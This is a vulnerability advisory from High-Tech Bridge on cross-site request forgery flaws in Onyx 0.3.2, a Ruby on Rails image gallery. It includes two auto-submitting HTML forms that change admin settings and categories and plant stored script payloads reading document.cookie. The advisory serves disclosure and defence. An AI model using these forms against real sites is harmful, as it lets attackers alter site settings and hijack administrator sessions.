Total Tests:

Cross-site Request Forgery (CSRF) Vulnerabilities in Onyx

Advisory ID:HTB22536
Product:Onyx
Vendor:Hulihan Applications
Vulnerable Versions:0.3.2 and probably prior
Tested Version:0.3.2
Advisory Publication:July 27, 2010 [without technical details]
Vendor Notification:July 27, 2010
Public Disclosure:August 10, 2010
Vulnerability Type:Cross-Site Request Forgery [CWE-352]
Risk Level:Medium
CVSSv2 Base Score:4 (AV:N/AC:H/Au:N/C:N/I:P/A:P)
Discovered and Provided:High-Tech Bridge Security Research Lab
 

Advisory Details:

High-Tech Bridge SA Security Research Lab has discovered multiple vulnerabilities in Onyx which could be exploited to perform cross-site request forgery attacks.

1) Cross-site request forgery (CSRF) in Onyx
1.1 The vulnerability exists due to insufficient validation of the request origin in admin/settings/update. A remote attacker can create a specially crafted link, trick a logged-in administrator into following that link and change website settings. Due to insufficient sanitation of input data in the "setting[site_keywords]" and "setting[site_description]" parameters it is also possible to store and execute arbitrary HTML and script code in user`s browser in context of vulnerable website.

Exploitation example:
<form action="http://host/admin/settings/update" method="post" name="main" >
<input type="hidden" name="setting[site_title]" value="My Onyx Gallery" />
<input type="hidden" name="setting[site_keywords]" value='Ruby on Rails Gallery"><script>alert(document.cookie)</script>' />
<input type="hidden" name="setting[site_description]" value='Onyx is an open source free ruby on rails gallery"><script>alert(document.cookie)</script>' />
<input type="hidden" name="setting[welcome_title]" value="Welcome!" />
<input type="hidden" name="setting[welcome_message]" value="Welcome to my gallery!" />
<input type="hidden" name="setting[uniform_width]" value="500" />
<input type="hidden" name="setting[uniform_height]" value="500" />
<input type="hidden" name="setting[thumbnail_width]" value="100" />
<input type="hidden" name="setting[thumbnail_height]" value="100" />
<input type="hidden" name="setting[dummy_watermark_enabled]" value="0" />
<input type="hidden" name="setting[tooltips_enabled]" value="1" />
<input type="hidden" name="setting[tooltip_width]" value="300" />
<input type="hidden" name="setting[maximum_uploadable_files]" value="10" />
<input type="hidden" name="commit" value="Update Settings" />
</form>
<script>
document.main.submit();
</script>

1.2 The vulnerability exists due to insufficient validation of the request origin in admin/categories/update. A remote attacker can create a specially crafted link, trick a logged-in administrator into following that link and modify arbitrary sections. Due to insufficient sanitation of input data in the "category[description]" parameter it is also possible to store and execute arbitrary HTML and script code in user`s browser in context of vulnerable website.
Exploitation example:
<form action="http://host/admin/categories/update/1" method="post" name="main" >
<input type="hidden" name="category[name]" value="General" />
<input type="hidden" name="category[description]" value='My Pictures"><script>alert(document.cookie)</script>' />
<input type="hidden" name="category[created_at(1i)]" value="2010" />
<input type="hidden" name="category[created_at(2i)]" value="7" />
<input type="hidden" name="category[created_at(3i)]" value="23" />
<input type="hidden" name="category[created_at(4i)]" value="04" />
<input type="hidden" name="category[created_at(5i)]" value="00" />
<input type="hidden" name="commit" value="Edit" />
</form>
<script>
document.main.submit();
</script>

How to Detect Cross-Site Request Forgery Vulnerabilities
Website Security Test
  • GDPR & PCI DSS Test
  • Website CMS Security Test
  • CSP & HTTP Headers Check
  • WordPress & Drupal Scanning
Try For Free

Solution:
Currently we are not aware of any vendor-supplied patches or other solutions. The vendor was contacted in accordance to our Vendor Notification Policy but we didn't get any answer or feedback.


References:
[1] High-Tech Bridge Advisory HTB22536 - https://www.immuniweb.com/advisory/HTB22536 - Cross-site Request Forgery (CSRF) Vulnerabilities in Onyx
[2] Onyx - http://hulihanapplications.com/projects/onyx - Onyx is an open source Ruby on Rails based image gallery. It is designed to be clean and intuitive, flexible, customizable, and quick.
[3] Common Weakness Enumeration (CWE) - http://cwe.mitre.org - targeted to developers and security practitioners, CWE is a formal list of software weakness types.

Have additional information to submit?
Please feel free to send us any additional information related to this Advisory, such as vulnerable versions, additional exploitation details and conditions, patches and other relevant details.
Book a Call Ask a Question
Close
Talk to ImmuniWeb Experts
ImmuniWeb AI Platform
Have a technical question?

Our security experts will answer within
one business day. No obligations.

Have a sales question?
Email:
Tel: +41 22 560 6800 (Switzerland)
Tel: +1 720 605 9147 (USA)
*
*
*
Your data will stay private and confidential